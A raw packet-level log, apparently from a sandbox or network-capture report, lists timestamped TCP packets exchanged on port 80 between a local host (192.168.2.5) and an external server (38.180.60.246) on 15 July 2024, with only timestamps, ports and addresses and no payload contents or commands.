Jul 15, 2024 00:48:22.790158033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790169954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790179968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790182114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790194988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790206909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790213108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790219069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790230989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790239096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790245056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790249109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790260077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790273905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790277958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790302992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790318012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790591002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790605068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790623903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790636063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790642977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790649891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790659904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790663958 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790676117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790693998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790719986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.790843010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.790888071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882544994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882561922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882572889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882595062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882606983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882618904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882631063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882633924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882683992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882796049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882817984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882829905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882843018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882855892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882868052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882869959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882880926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.882900000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882909060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.882935047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884505033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884516001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884529114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884552002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884577990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884634972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884646893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884660006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884669065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884691954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884891033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884902000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884913921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.884932995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.884958029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885045052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885056973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885068893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885082960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885083914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885097027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885108948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885108948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885121107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885137081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885154963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885314941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885327101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885339022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885356903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885382891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885559082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885571003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885586023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885597944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885601044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885612011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885622025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885624886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885639906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885644913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885653019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885663033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885667086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.885690928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.885715961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886028051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886040926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886053085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886065006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886070013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886076927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886089087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886090040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886101007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886112928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886118889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886126041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886137009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886137009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886151075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886161089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886169910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886173964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886198044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886215925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886517048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886528015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886569023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886662960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886676073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886697054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886703968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886710882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886722088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886722088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886734009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886743069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886749029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886760950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886770010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886773109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886785030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886787891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886797905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886809111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886817932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886821032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886835098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886847973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886851072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886862040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.886868954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.886897087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887382984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887394905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887417078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887425900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887428045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887453079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887479067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887635946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887649059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887664080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887675047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887681007 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887689114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887700081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887701035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887713909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887726068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887731075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887738943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887749910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887751102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.887778044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.887804031 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888127089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888139009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888153076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888164043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888170004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888176918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888190031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888195992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888202906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888214111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888219118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888225079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888237000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888250113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888262033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888262987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888276100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888289928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888292074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888309002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888334036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888770103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888788939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888808966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888813019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888820887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888830900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888833046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888849020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888853073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888859987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.888881922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.888899088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.922065020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922094107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922106981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922122002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922137976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922141075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.922152996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922167063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.922168970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.922189951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.922209024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976032019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976113081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976325989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976339102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976378918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976425886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976437092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976449013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976459980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976474047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976474047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976488113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976491928 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976502895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976530075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976566076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976566076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976577997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976588964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976600885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976613998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976620913 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976624966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976635933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976646900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976650953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976658106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976670980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976684093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.976685047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976692915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.976722002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977366924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977379084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977389097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977401972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977412939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977417946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977432013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977440119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977446079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977458000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977458000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977469921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977482080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977490902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977494955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977508068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977519989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977521896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977531910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977541924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977545023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977556944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977562904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977572918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977579117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977607965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.977941036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977952957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977963924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977976084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977988005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.977988005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978001118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978005886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978013039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978024006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978024960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978037119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978049994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978055000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978084087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978785992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978796959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978806973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978820086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978832006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978840113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978843927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978856087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978857040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978868961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978880882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978880882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978893042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978904963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978910923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978929043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978940010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978940964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978952885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978962898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.978965044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978976965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.978991032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979017019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979088068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979115963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979125977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979126930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979139090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979150057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979150057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979162931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979167938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979173899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979186058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979197025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979197979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979209900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979214907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979222059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979231119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979233980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.979257107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.979280949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.980065107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980077982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980088949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980102062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.980113983 CEST	80	49704	38.180.60.246	192.168.2.5
